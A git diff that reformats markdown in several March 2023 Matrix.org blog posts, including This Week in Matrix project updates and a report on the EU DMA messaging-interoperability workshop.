@@ -284,10 +285,10 @@ Matrix server setup using Ansible and Docker [ben](https://matrix.to/#/@ben:acter.global) reports > Shortly after releasing [our whitepaper](https://effektio.org/whitepaper/) end of last year, Effektio was approached by another organization, who has been building a NGO communication platform for a few years called [Acter](https://acter.global). Acter wanted to move away from their current centralized stack and had found Matrix.org 's Federated Model to be their preferred ideal. Very quickly within the talks that followed it became clear that both organization have the same goals and visions for the future and are perfectly matching in terms of what they already bring and what each lacks: Effektio has the technological stack, expertise and ability to build the product while Acter has existing a network of organizations, partners and even existing users, who are happy to provide feedback. Long story short, we decided to merge both into a newly funded **Acter Association**, which we established Jan 1st, developing the next (third) generation of the Acter Platform ("A3") on top of the existing effektio tech stack. Since then a major part of our work has been merging all the admin and tech stuff, up to moving the github repo over to [acterglobal/a3](https://github.com/acterglobal/a3), where you will find it from now on. -> +> > Next to that, we still have continued working on the product itself. Among other things we have [merged the first implementation of the Adaptive Layout in A3](https://github.com/acterglobal/a3/pull/505) this week, implemented the next acter object, [Pins](https://github.com/acterglobal/a3/pull/503), added [Rageshake Bug Reporting](https://github.com/acterglobal/a3/pull/522) to the nightly builds, started out with the new [Templates](https://docs.acter.global/docs/architecture/templates/) infrastructure and improved our quality assurance by reactivate rust integration tests, add widget unit tests and a new cucumber desktop tests infrastructure. -> -> More details on all of these in [todays update](https://matrix.to/#/!BmpAQjmQXBkFbfWJaT:effektio.org/$bdzBkAK8wMa2mNA4VXFepKEkIXNdi43MYBQ_LIVzcsM?via=acter.global&via=matrix.org&via=effektio.org) in our very own news channel: https://matrix.to/#/#news:acter.global +> +> More details on all of these in [todays update](https://matrix.to/#/!BmpAQjmQXBkFbfWJaT:effektio.org/$bdzBkAK8wMa2mNA4VXFepKEkIXNdi43MYBQ_LIVzcsM?via=acter.global&via=matrix.org&via=effektio.org) in our very own news channel: ### MinesTRIX ([website](https://minestrix.henri2h.fr)) @@ -296,17 +297,17 @@ A privacy focused social media based on MATRIX [Henri Carnot](https://matrix.to/#/@henri2h:carnot.cc) says > [website](https://minestrix.henri2h.fr/) * [repo](https://gitlab.com/minestrix/minestrix-flutter) -> -> +> +> > Hello hello, -> -> +> +> > today is a big day for MinesTRIX because it's finally possible to test it as we are now in Flathub! -> https://flathub.org/apps/details/fr.henri2h.minestrix -> -> +> +> +> > In parallel, I have been quite a lot of work in the background. And in last version (v1.6.5), we have: -> +> > * Switched to Material3 and redesigned the app navigation. Removed black theme for more simplicity. > * It is now possible to set permissions (room visibility and powers levels) for groups and feeds. > * Role & permissions view for room settings is now more intuitive. @@ -319,9 +320,9 @@ A privacy focused social media based on MATRIX > * it is now possible to unfollow someone > * fixed SSO login on web > * It's now possible to switch account from home page for easier multi account usage. -> +> > In master: -> +> > * support for video messages > * speed up room media loading for the not encrypted rooms by requesting events directly from server > * allow resizing the settings and chat view @@ -331,6 +332,7 @@ A privacy focused social media based on MATRIX Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -347,6 +349,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|projectsegfau.lt|1087| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2023/03/2023-03-15-the-dma-stakeholder-workshop-interoperability-between-messaging-services.md b/content/blog/2023/03/2023-03-15-the-dma-stakeholder-workshop-interoperability-between-messaging-services.md index 798e168dc..1163652ba 100644 --- a/content/blog/2023/03/2023-03-15-the-dma-stakeholder-workshop-interoperability-between-messaging-services.md +++ b/content/blog/2023/03/2023-03-15-the-dma-stakeholder-workshop-interoperability-between-messaging-services.md @@ -14,11 +14,10 @@ A few weeks ago we found ourselves in Brussels to participate in the second [sta The [DMA](https://commission.europa.eu/strategy-and-policy/priorities-2019-2024/europe-fit-digital-age/digital-markets-act-ensuring-fair-and-open-digital-markets_en) is new antitrust/competition regulation from Europe which came into force in November, whose objective is to make digital markets more competitive by forcing gatekeepers (i.e. large tech companies) to reconsider some of their anti-competitive or self-preferencing practices. Gatekeepers are defined as companies which have a clear position of influence in a given market (based on revenue / market cap / number of users thresholds), and “an entrenched and durable position”. The process for designating which companies count as gatekeepers will start in May 2023. -The DMA touches upon different key topics, from self-preferencing behaviour to app store management practices - but most importantly includes interoperability for “number-independent interpersonal communication services” (NIICS), otherwise known as chat and voice/video calling and conferencing services (social media was left out for now). +The DMA touches upon different key topics, from self-preferencing behaviour to app store management practices - but most importantly includes interoperability for “number-independent interpersonal communication services” (NIICS), otherwise known as chat and voice/video calling and conferencing services (social media was left out for now). [This particular workshop](https://competition-policy.ec.europa.eu/dma/dma-workshops/interoperability-workshop_en) was focused on the latter: interoperability between messaging services, with the aim of getting the different stakeholders of the industry in the same place to discuss how the legislation could be implemented. The whole idea is to figure out a practical way in which WhatsApp could interoperate with iMessage, Google Messages and others, creating an interoperable communication network where users are no longer locked into communication silos and pick their preferred service provider without compromising on who they can talk to. \ - About 900 people participated online, and around 80 people were present in person: the maximum the room could hold. It was particularly fun to see representatives from the whole industry turning up in person, including folks from XMPP, MIMI (the new IETF working group on messaging interoperability), MLS, us from Matrix obviously (alongside Matrix ecosystem representatives from Beeper and NeoChat!) - all together with the Body of European Regulators for Electronic Communications ([BEREC](https://www.berec.europa.eu/en/berec/what-is-berec)), civil society representatives (like the Federation of German Consumer Organisations ([VZBV](https://VZBV.de)) and European Digital Rights ([EDRi](https://edri.org))), mobile network operators, local network agencies, and obviously some of those who are likely to be designated as gatekeepers, such as Meta, Apple and Google. @@ -27,7 +26,6 @@ About 900 people participated online, and around 80 people were present in perso All of the workshop proceeds were livestreamed and archived by European Commission’s [webcasting service](https://webcast.ec.europa.eu/dma-workshop-2023-02-27) and [released](https://commission.europa.eu/legal-notice_en#copyright-notice) under the terms of the Creative Commons Attribution 4.0 International (CC BY 4.0) licence, so we’ve taken the liberty of republishing them split up into chapters so that folks can quickly refer to the discussion. - ### Panel 1: Introduction to horizontal interoperability between messaging services: goals, challenges and potential solutions The first panel focused on setting up the scene and highlighting the challenges expected during the implementation phase, featuring [Simonetta Vezzoso](https://www.soi.unitn.it/staff/simonetta-vezzoso/) (Professor of Economics at The University of Trento), [Chiara Caccinelli](https://www.linkedin.com/in/chiaracaccinelli) (Co-chair - Digital Markets WG at [BEREC](https://www.berec.europa.eu/)), [Suzanne Blohm](https://www.vzbv.de/en/policy-work/experts) (Policy officer at [Verbraucherzentrale Bundesverbands (VZBV)](https://www.vzbv.de/)) and [Jan Penfrat](https://www.linkedin.com/in/jan-penfrat) (Senior Policy Advisor at [EDRi](https://edri.org/)). There was a lot of emphasis around the risks of gatekeepers dragging their feet, or choosing the solution which makes it harder for SMEs or self-hosters to interoperate, as well as the challenge of introducing the new paradigm of interoperability for messaging without losing the usability aspect - see below for the full scope: @@ -66,7 +64,6 @@ The first panel focused on setting up the scene and highlighting the challenges * [01:54:53](https://www.youtube.com/watch?v=yoKjXN3G8a8&t=6893s) Question - Is contact information part of the data gatekeepers need to share? (XMPP) * [01:56:12](https://www.youtube.com/watch?v=yoKjXN3G8a8&t=6972s) Closing - ### Panel 2: Exploring the technical aspects of interoperability (Part 1): end-to-end encryption, security of the service Then, after a quick lunch, the second panel went into the nitty gritty of how end-to-end encrypted interoperable messaging (1:1 messaging is the first milestone to be delivered, hence the focus) could actually be implemented by the gatekeepers. The panel starred [Paul Rösler](https://www.roeslpa.de/) from [FAU Erlangen-Nürnberg](https://fau.de/), who gave a great overview of end-to-end encryption in general, [Alissa Cooper](https://alissacooper.com/) from Cisco who explained the merits of open interoperable protocols, [Eric Rescorla](https://educatedguesswork.org/about/) from Mozilla explaining the merits of standardisation, yours truly from Matrix explaining and demonstrating how one can actually use a standardised open protocol to interoperate without sacrificing privacy (effectively fleshing out our [blog](https://matrix.org/blog/2022/03/29/how-do-you-implement-interoperability-in-a-dma-world) [posts](https://matrix.org/blog/2022/03/25/interoperability-without-sacrificing-privacy-matrix-and-the-dma) from last year) and then finally [Stephen Hurley](https://www.linkedin.com/in/stephen-hurley-24424231) from Meta to explain how they are thinking about DMA obligations. @@ -133,7 +130,6 @@ You can see the whole panel split into the various sections below: * [01:53:00](https://www.youtube.com/watch?v=FDnUJXzVn3s&t=6780s) What about interoperability of features like custom emojis, removing messages, etc? (online) * [01:57:42](https://www.youtube.com/watch?v=FDnUJXzVn3s&t=7062s) What does the rest of the panel thinks about the guarantees they can provide when a message leaves a system? (XMPP) - ### Panel 3: Exploring the technical aspects of interoperability (II): data collection, identification of users, quality of interoperable services, system management, integrity of the service/prevention of misuse Finally, we launched into the third and final session of the day - a second technical panel to dig into questions of identity, usability, data privacy, consent and anti-abuse in a DMA world. Relative to the second panel, there were more questions than answers here, as the panellists discussed whether users would need to consent or opt-in/opt-out of interoperability, and debated the various data privacy implications of DMA. The panel starred Stephen Hurley from Meta again, [Lucas Verney](https://www.linkedin.com/in/lucas-verney) from [PEReN](https://www.peren.gouv.fr), Markus Klein from [Bundesnetzagentur](https://www.bundesnetzagentur.de/) and [Rohan Mahy](https://rohan.com/) from [Wire](https://wire.com) introducing the [MIMI working group](https://datatracker.ietf.org/group/mimi) at IETF. @@ -185,7 +181,6 @@ Finally, we launched into the third and final session of the day - a second tech * [01:29:55](https://www.youtube.com/watch?v=ZtRmAaHUxWw&t=5395s) The views expressed here regarding consent are concerning when it comes to self-hosting * [01:36:20](https://www.youtube.com/watch?v=ZtRmAaHUxWw&t=5780s) Closing - ## Conclusion This was a fascinating opportunity to have a front-row seat at history being made, as the various key players finally got down to business on the practical implications of DMA interoperability. diff --git a/content/blog/2023/03/2023-03-17-this-week-in-matrix-2023-03-17.md b/content/blog/2023/03/2023-03-17-this-week-in-matrix-2023-03-17.md index d19fb1ecf..719e32485 100644 --- a/content/blog/2023/03/2023-03-17-this-week-in-matrix-2023-03-17.md +++ b/content/blog/2023/03/2023-03-17-this-week-in-matrix-2023-03-17.md @@ -19,40 +19,45 @@ image = "https://matrix.org/blog/img/matrix-logo.png" [Andrew Morgan (anoa)](https://matrix.to/#/@andrewm:element.io) reports -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://spec.matrix.org/proposals. -> -> +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . +> +> > ## MSC Status -> +> > **New MSCs:** +> > * [MSC3980: Dotted Field Consistency](https://github.com/matrix-org/matrix-spec-proposals/pull/3980) > * [MSC3979: Revised feature profiles](https://github.com/matrix-org/matrix-spec-proposals/pull/3979) > * [MSC3977: Matrix as a Messaging Framework (IETF/MIMI)](https://github.com/matrix-org/matrix-spec-proposals/pull/3977) -> +> > **MSCs in Final Comment Period:** +> > * [MSC1796: improved e2e notifications](https://github.com/matrix-org/matrix-spec-proposals/pull/1796) (close) -> +> > **Accepted MSCs:** +> > * *No MSCs were merged this week.* -> +> > **Closed MSCs:** +> > * [MSC3978: Deprecate room tagging](https://github.com/matrix-org/matrix-spec-proposals/pull/3978) -> +> > ## Spec Updates +> > The Spec Core Team has started to publish their weekly list of MSCs to focus on reviewing in the [Office of the Spec Core Team](https://matrix.to/#/#sct-office:matrix.org) room. The list consists of the MSCs that are ready for immediate review, and would most help advance the Matrix protocol on any given week. This used to happen internally (they started out as weekly ping by a bot, and then slowly became curated by our resident human, Travis). But the idea to publish the list both allows people to easily follow along with what they're doing on a weekly basis (much like these posts, but in real time!), as well as helps push subsequent discussion to public channels. -> +> > Otherwise, Travis continues to be hard at work integrating Matrix into the IETF process. [MSC3923](https://github.com/matrix-org/matrix-doc/issues/3923) - initially published in November 2022 - was proposed for FCP this week (and has nearly passed!). Additionally, [MSC3977](https://github.com/matrix-org/matrix-doc/issues/3977) was published this week and talks about how Matrix is a great fit for the goals of the IETF's MIMI working group. -> +> > This is all ahead of the [IETF 116](https://www.ietf.org/how/meetings/116/) event which starts on March 26th. The Matrix.org Foundation will be attending remotely. -> +> > ## Random MSC of the Week -> +> > The random MSC of the week is... [MSC3735: Add device information to m.room_key.withheld message](https://github.com/matrix-org/matrix-spec-proposals/pull/3735)! -> +> > This MSC proposes adding a new field, `from_device`, to [`m.room_key.withheld`](https://spec.matrix.org/v1.6/client-server-api/#mroom_keywithheld) messages. This to-device message type is used to inform devices why a megolm session was not sent to them after they requested it. -> +> > Devices can request megolm sessions from multiple devices at once, but upon receiving a `m.room_key.withheld` message from one of them is currently unable to tell *which* of the devices responded with that message. -> +> > The proposed `from_device` field should not be added to `m.room_key.withheld` messages that are sent outside of key request flows. @@ -66,13 +71,13 @@ Synapse is a Matrix homeserver implementation developed by the matrix.org core t [Shay](https://matrix.to/#/@shayshay:matrix.org) reports > Friday, Friday, Friday, also known as TWIM day. We here at Synapse have another release for you: Synapse v1.79.0. As always it is packed with features and bugfixes. Some notable highlights include: -> +> > * Added media information to the command line [user data export tool](https://matrix-org.github.io/synapse/v1.79/usage/administration/admin_faq.html#how-can-i-export-user-data). > * Added an [admin API](https://matrix-org.github.io/synapse/latest/usage/administration/admin_api/index.html) to delete a [specific event report](https://spec.matrix.org/v1.6/client-server-api/#reporting-content) > * Added support for knocking to workers > * Fixed a bug introduced in Synapse 1.79.0rc1 where attempting to register a `on_remove_user_third_party_identifier` module API callback would be a no-op > * Fixed a long-standing bug where a URL preview would break if the discovered oEmbed failed to download -> +> > and much more. Feel free to take a deep dive in the [release notes](https://github.com/matrix-org/synapse/releases/tag/v1.79.0) and have a happy Friday! ### Dendrite ([website](https://github.com/matrix-org/dendrite)) @@ -82,9 +87,9 @@ Second generation Matrix homeserver [Till](https://matrix.to/#/@s7evink:matrix.org) says > This week we released [Dendrite 0.12.0](https://github.com/matrix-org/dendrite/releases/tag/v0.12.0), which marks the end of polylith/HTTP API mode. -> +> > ### Features -> +> > * The userapi and keyserver have been merged (no actions needed regarding the database) > * The internal NATS JetStream server is now using logrus for logging (contributed by [dvob](https://github.com/dvob)) > * The roomserver database has been refactored to have separate interfaces when working with rooms and events. Also includes increased usage of the cache to avoid database round trips. (database is unchanged) @@ -93,22 +98,22 @@ Second generation Matrix homeserver > * Support for listening on unix sockets has been added (contributed by [cyberb](https://github.com/cyberb)) > * The internal NATS server was updated to v2.9.15 > * Initial support for `runtime/trace` has been added to further track down long-running tasks -> +> > ### Fixes -> +> > * The `session_id` is now correctly set when using SQLite > * An issue where device keys could be removed if a device ID is reused has been fixed > * A possible DoS issue related to relations has been fixed (reported by [sleroq](https://github.com/sleroq)) > * When backfilling events, errors are now ignored if we still could fetch events -> +> > ### Other -> +> > * **⚠️ DEPRECATION: Polylith/HTTP API mode has been removed** > * The default endpoint to report usages stats to has been updated -> -> +> +> > If you have a Dendrite homeserver, staying up-to-date is highly recommended so please upgrade when you can. Otherwise, if you want to play with Dendrite without having to set up your own infrastructure, the dendrite.matrix.org homeserver is open for registration (upon completion of a CAPTCHA, so you may need to register using [Element Web](https://app.element.io/)). -> +> > As always, please feel free to join us in [#dendrite:matrix.org](https://matrix.to/#/#dendrite:matrix.org) for related discussion. ### Construct ([website](https://github.com/matrix-construct/construct)) @@ -118,11 +123,11 @@ A performance-oriented homeserver with minimal dependencies. [Jason Volk](https://matrix.to/#/@jevolk:matrix.org) says > Construct is inching closer toward public-registration safety for its upcoming 1.0 release. This week I'd like to thank tiix for helping me fix a bug in the registration availability checker, and @dynfox for dropping some documentation for how to launch Construct dockers with certbot. -> +> > I'd like to thank @qg:schildi.chat and @bgiovanni for helping me hunt down an elusive auth-rules divergence between Synapse and Construct. This bug affects Synapse users who have been kicked from a room before the summer of 2022 by an admin who runs Construct. After Synapse 1.62, those users are not able to rejoin that room -- ever. This was due to a bug which added unnecessary `m.room.join_rules` to the `auth_events` which is no longer accepted by Synapse after that version. This is now fixed on our end going forward, but fixing this retroactively is something I'll be working on over the weekend. I'd like to send my regards to Philantrop 🏳️‍🌈 who first brought this to my attention and is still trying to get back into [#construct:zemos.net](https://matrix.to/#/#construct:zemos.net) even at this very moment. Don't worry, we haven't forgotten you! 😁 -> +> > Construct has over five years of battle-tested experience federating at scale from the very first days of Matrix. If you're looking for an alternative to Synapse to run on a cheap host: less than or equal to 100% CPU usage is our guarantee or your money back. I use it every day at -> +> > ### [#construct:zemos.net](https://matrix.to/#/#construct:zemos.net) ## Homeserver Deployment 📥️ @@ -150,22 +155,22 @@ A multi purpose multi platform bridge, formerly known as matrix-github [Half-Shot](https://matrix.to/#/@Half-Shot:half-shot.uk) says > ### Hookshot 3.0.0 storms in and demands attention -> +> > Howdy folks, another big release for you coming up. So you remember how last week Justin and Myself came onto [Matrix Live](https://youtu.be/HlsMMzTFZ_A) to talk about the new > bridge widgets and show off how sleek and snappy they are? Well, Hookshot is **also** getting some updates of a similar flavor. The more observant of you may be starting to notice a pattern > of us tarting up our public integrations. Something might well be on the horizon very, very soon :) -> +> > In the meantime, here are the latest changes for [Hookshot 3.0.0](https://github.com/matrix-org/matrix-hookshot/releases/tag/3.0.0): -> +> > * Add support from migrating go-neb services to Hookshot ([\#647](https://github.com/matrix-org/matrix-hookshot/issues/647)) > * Implement grant system to internally record all approved connections in hookshot. ([\#655](https://github.com/matrix-org/matrix-hookshot/issues/655)) > * Add support for logging into GitHub via OAuth from bridge widgets. ([\#661](https://github.com/matrix-org/matrix-hookshot/issues/661)) -> +> > and a bunch of other changes too! -> +> > You'll notice we're migrating to a grant system for approving connections, which is why this is considered a breaking major release. **Please check the > notes before updating** and give us a quick message if you have any issues or concerns. -> +> > And with that, I wish you all a great weekend! ## Dept of Clients 📱 @@ -183,15 +188,15 @@ Matrix messaging app for GNOME written in Rust. [Kévin Commaille](https://matrix.to/#/@zecakeh:tedomum.net) reports > As predicted 3 weeks ago, Fractal 4.4.2 has been released and is available on Flathub. -> +> > As a reminder, there are no new features, but it makes Fractal compatible with newer versions of our dependencies. Big thanks to everyone who tested the beta version and feel free to uninstall it. -> +> > In another news, let's talk a bit about Fractal 5… -> +> > We have finally implemented one of the most annoying missing features: sending read receipts and updating the fully-read marker. What is doubly great about this, is that we are now only one feature away from being regression-free compared to our stable release (and a merge request is opened for the last one)! -> +> > This means that a beta release is around the corner, but we also have serious performance issues to resolve first. We hope that switching to the new store backend currently developed in the Matrix Rust SDK will fix some of it, but we still need to investigate properly how we can improve the situation. -> +> > That's all for this week, don't hesitate to come say hi in [#fractal:gnome.org](https://matrix.to/#/#fractal:gnome.org). If you would like to help us, take a look at our [newcomers issues](https://gitlab.gnome.org/GNOME/fractal/-/issues/?label_name%5B%5D=4.%20Newcomers) (and don't forget to read our `CONTRIBUTING.md` first). ### Element Web/Desktop ([website](https://github.com/vector-im/element-web)) @@ -230,8 +235,8 @@ Secure and independent communication for Android, connected via Matrix. Come tal [stefan](https://matrix.to/#/@rumpelsepp:hackbrettl.de) announces > [mnotify](https://github.com/rumpelsepp/mnotify) got a few updates: -> -> * there is now a matrix channel: https://matrix.to/#/#mnotify:hackbrettl.de +> +> * there is now a matrix channel: > * it can now also send emote `mn send --emote` (in element: `/me` command) and notice `mn send --notice` (e.g. someone left a room or anything else changed) messages > * information about the current login (e.g. the homeserver url or the token) can be printed with `mn homeserver` or short `mn hs`, to ease the development of scripts which use `curl` for special requests > * typing notifications can be send with `mn typing` @@ -244,19 +249,19 @@ E2E encrypted social networking built on Matrix. Safe, private sharing for your [cvwright](https://matrix.to/#/@cvwright:matrix.org) reports > We just published a new Android beta of Circles, the E2E encrypted social network app. -> +> > Updates in the v1.0.10 release include: -> +> > * New feature: User profiles as Spaces, with an updated "People" tab showing the people who you're connected with > * New feature: Scan a friend's QR code to connect with them (ie to knock on their profile Space room) > * New feature: Notifications using Sygnal or ntfy > * Bugfix: Better detection of `.well-known` server information -> +> > Interested users can get this latest beta from all the usual sources: -> -> * Our F-Droid beta repo: https://circu.li/fdroid/repo/ -> * Google Play: https://play.google.com/store/apps/details?id=org.futo.circles -> * Source code: https://gitlab.futo.org/circles/circles-android/-/tags/v1.0.10 +> +> * Our F-Droid beta repo: +> * Google Play: +> * Source code: ## Dept of SDKs and Frameworks 🧰 @@ -266,19 +271,21 @@ E2E encrypted social networking built on Matrix. Safe, private sharing for your > The Elm SDK has reached an unofficial alpha version! It can be downloaded and used for testing purposes. > Now that the core has been finished, the exposed modules `Matrix`, `Matrix.Room` and `Matrix.RoomInvite` are available with the following features: +> > * Automated login & sync > * Joining / leaving rooms > * Accepting / rejecting invites > * Receiving the latest events of a room -> +> > Before publishing a version 1.0.0, I aim to implement the following features: +> > * Automated login & sync for spec version `v1.1` and legacy versions `r.0.0.0` - `r0.6.1` using sync v1 -> * Room membership manipulation _(invite, kick, ban, knock users/rooms)_ +> * Room membership manipulation *(invite, kick, ban, knock users/rooms)* > * A few QOL functions to explore a room's state -> +> > You may expect these in the next few weeks. On to a version 1.0.0! > -> Repo: https://github.com/noordstar/elm-matrix-sdk +> Repo: > Public room: [#elm-sdk:matrix.org](https://matrix.to/#/#elm-sdk:matrix.org) ### matrix-rust-sdk ([website](https://github.com/matrix-org/matrix-rust-sdk)) @@ -288,16 +295,16 @@ Next-gen crypto-included SDK for developing Clients, Bots and Appservices; writt [Jonas Platte](https://matrix.to/#/@jplatte:flipdot.org) reports > * This week, a lot of functionality was added to our foreign language bindings for Swift and Kotlin: -> - [Creating rooms](https://github.com/matrix-org/matrix-rust-sdk/pull/1635) -> - [Updating the room topic and avatar](https://github.com/matrix-org/matrix-rust-sdk/pull/1654) -> - [Downloading media files to disk](https://github.com/matrix-org/matrix-rust-sdk/pull/1649) +> * [Creating rooms](https://github.com/matrix-org/matrix-rust-sdk/pull/1635) +> * [Updating the room topic and avatar](https://github.com/matrix-org/matrix-rust-sdk/pull/1654) +> * [Downloading media files to disk](https://github.com/matrix-org/matrix-rust-sdk/pull/1649) > * We also [added a guide](https://github.com/matrix-org/matrix-rust-sdk/pull/1655) for contributing to those bindings > * We [added more detailed event verification states](https://github.com/matrix-org/matrix-rust-sdk/pull/1374) > * We [added a convenience method for setting the room name](https://github.com/matrix-org/matrix-rust-sdk/pull/1668) (but not for the bindings yet) > * We [fixed another set of bugs in Sliding Sync](https://github.com/matrix-org/matrix-rust-sdk/pull/1667) > * We [fixed a small bug around OIDC](https://github.com/matrix-org/matrix-rust-sdk/pull/1671) > * We [added support for highlighted messages in the timeline](https://github.com/matrix-org/matrix-rust-sdk/pull/1648) ([follow-up PR](https://github.com/matrix-org/matrix-rust-sdk/pull/1656)) -> +> > Shout-out to Kévin Commaille for contributing many of these improvements in his free time! ## Dept of Ops 🛠 @@ -315,7 +322,7 @@ Matrix server setup using Ansible and Docker [Slavi](https://matrix.to/#/@slavi:devture.com) reports > Thanks to [Aine](https://gitlab.com/etke.cc) of [etke.cc](https://etke.cc/), [matrix-docker-ansible-deploy](https://github.com/spantaleev/matrix-docker-ansible-deploy) can now set up [rust-synapse-compress-state](https://github.com/matrix-org/rust-synapse-compress-state)'s `synapse_auto_compressor` tool to run periodically. -> +> > Learn more from [our changelog entry](https://github.com/spantaleev/matrix-docker-ansible-deploy/blob/cf7f9701b731640e3fde8e8d48914ecfbbf7e200/CHANGELOG.md#synapse-auto-compressor-support). ## Dept of Bots 🤖 @@ -326,12 +333,10 @@ A Matrix bot for the [Friendly Linux Players](https://friendlylinuxplayers.org/) [HER0](https://matrix.to/#/@HER0:matrix.org) says -> # flip-matrix-bot ([website](https://gitlab.com/FriendlyLinuxPlayers/flip-matrix-bot)) -> > In the past two weeks, there have been a bunch of small improvements. The [events page](https://friendlylinuxplayers.org/events) of the community website now lists upcoming events, and the event pages themselves have received some polish. As a result, links to event web pages are now included in the output of several commands. This makes it easier to see the event time in your local time and to share the event with people who are not in the Matrix room. -> +> > Looking to the future, improving these web pages brings us a step closer to integrating with [Steam](https://gitlab.com/FriendlyLinuxPlayers/flip-matrix-bot/-/issues/23) and [Mastodon](https://gitlab.com/FriendlyLinuxPlayers/flip-matrix-bot/-/issues/16). I've started to investigate these further, but there isn't much to report yet. -> +> > Besides website-related improvements, I took some time to add unit tests for the lowest-hanging fruit parts of the code. There are more tests to be added, and further testing improvements may be possible in the future after some refactoring, but this is not a high priority for me right now. ## Dept of Interesting Projects 🛰️ @@ -341,21 +346,21 @@ A Matrix bot for the [Friendly Linux Players](https://friendlylinuxplayers.org/) [Alexey Murz Korepov](https://matrix.to/#/@murz:ru-matrix.org) reports > **Searching for people to hand over a business idea of paid bridges for Matrix users to other messengers, for free!** -> -> I have a business idea to make a paid service for bridging Matrix ([matrix.org](http://matrix.org/)) with other messengers using the Bridges feature (https://matrix.org/bridges/). It's like [beeper.com](http://beeper.com/), but which works with any MXID on any homeserver. And like [t2bot.io](http://t2bot.io/), but commercial one and with more bridges available. Yes, t2bot.io is a great project, but free services usually got occupied by a lot of accounts, especially by spammers, and managing all of them for free sounds not so perspective to me. But [bridged.to](http://bridged.to/) could also provide some free services for the community. -> +> +> I have a business idea to make a paid service for bridging Matrix ([matrix.org](http://matrix.org/)) with other messengers using the Bridges feature (). It's like [beeper.com](http://beeper.com/), but which works with any MXID on any homeserver. And like [t2bot.io](http://t2bot.io/), but commercial one and with more bridges available. Yes, t2bot.io is a great project, but free services usually got occupied by a lot of accounts, especially by spammers, and managing all of them for free sounds not so perspective to me. But [bridged.to](http://bridged.to/) could also provide some free services for the community. +> > For that purposes I’ve bought a [bridged.to](http://bridged.to/) domain several years ago, to make cool identifiers of bridges like `@telegram:bridged.to`, `@whatsapp:bridged.to`, etc. -> +> > But I still can’t find time to implement this idea at all. So, I’ve decided to stop paying for this domain and want to hand over this domain and the whole idea to someone else, who has the time and energy to implement this project. -> +> > The idea was to make the payments flexible, per-bridge, for example, $1 per month for each bridge. So, if a user will use bridges to Telegram + FaceBook + Instagram + WhatsApp, they will pay $4 per month, if they stop using some bridges - they pay less. And give a free trial period of 2 weeks for new users, to give it a try. -> +> > From the technical point of view, this should look like a standard Synapse server with a custom python module that just block-unblocks sending of messages by the user’s account balance, and also can gather some usage statistics (number of bridged messages per user, etc), and bridges instances, connected via appservices. And some admin panel with UI to manage and administrate this. -> +> > All this sounds easy to implement, but I have a lot of tasks at my main job, so have no time to accomplish this, and have decided to hand over this idea to someone else, who might be interested in it, for free. -> +> > So, if you’re interested in this idea or want to know more, or even just want to grab the cool [bridged.to](http://bridged.to/) domain for free - please feel free to contact me via Matrix - @murz:ru-matrix.org. -> +> > The domain annual cost is $41.98, it's on namecheap.com, expires at Mar 28, 2023. ## Dept of Ping @@ -363,6 +368,7 @@ A Matrix bot for the [Friendly Linux Players](https://friendlylinuxplayers.org/) Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -379,6 +385,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|huddlehaus.com|1006.5| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2023/03/2023-03-24-this-week-in-matrix-2023-03-24.md b/content/blog/2023/03/2023-03-24-this-week-in-matrix-2023-03-24.md index 9a723d7d3..5c55bc206 100644 --- a/content/blog/2023/03/2023-03-24-this-week-in-matrix-2023-03-24.md +++ b/content/blog/2023/03/2023-03-24-this-week-in-matrix-2023-03-24.md @@ -21,45 +21,45 @@ image = "https://matrix.org/blog/img/matrix-logo.png" [Andrew Morgan (anoa)](https://matrix.to/#/@andrewm:element.io) says > ## MSC Status -> +> > **New MSCs:** -> +> > * [MSC3984: Sending key queries to appservices](https://github.com/matrix-org/matrix-spec-proposals/pull/3984) > * [MSC3983: Sending One-Time Key (OTK) claims to appservices](https://github.com/matrix-org/matrix-spec-proposals/pull/3983) > * [MSC3982: Limit maximum number of events sent to an AS](https://github.com/matrix-org/matrix-spec-proposals/pull/3982) > * [MSC3981: `/relations` recursion](https://github.com/matrix-org/matrix-spec-proposals/pull/3981) -> +> > **MSCs in Final Comment Period:** -> +> > * [MSC3923: Bringing Matrix into the IETF process](https://github.com/matrix-org/matrix-spec-proposals/pull/3923) (merge) > * [MSC2677: Annotations and reactions](https://github.com/matrix-org/matrix-spec-proposals/pull/2677) (merge) -> +> > **Accepted MSCs:** -> +> > * _No MSCs were accepted this week._ -> +> > **Closed MSCs:** -> +> > * [MSC1796: improved e2e notifications](https://github.com/matrix-org/matrix-spec-proposals/pull/1796) -> +> > ## Spec Updates -> +> > The Matrix.org Foundation (mostly Travis) are beavering away preparing for the MIMI meeting at [IETF 116](https://www.ietf.org/how/meetings/116/) this weekend! This is part of our continual work to contribute to a IETF standard that can be used for interoperable messaging between gatekeepers (large companies in the chat world) under the [EU's Digital Markets Act](https://www.europarl.europa.eu/news/en/press-room/20220315IPR25504/deal-on-digital-markets-act-ensuring-fair-competition-and-more-choice-for-users). See [our earlier blogpost](https://matrix.org/blog/2022/03/29/how-do-you-implement-interoperability-in-a-dma-world) for 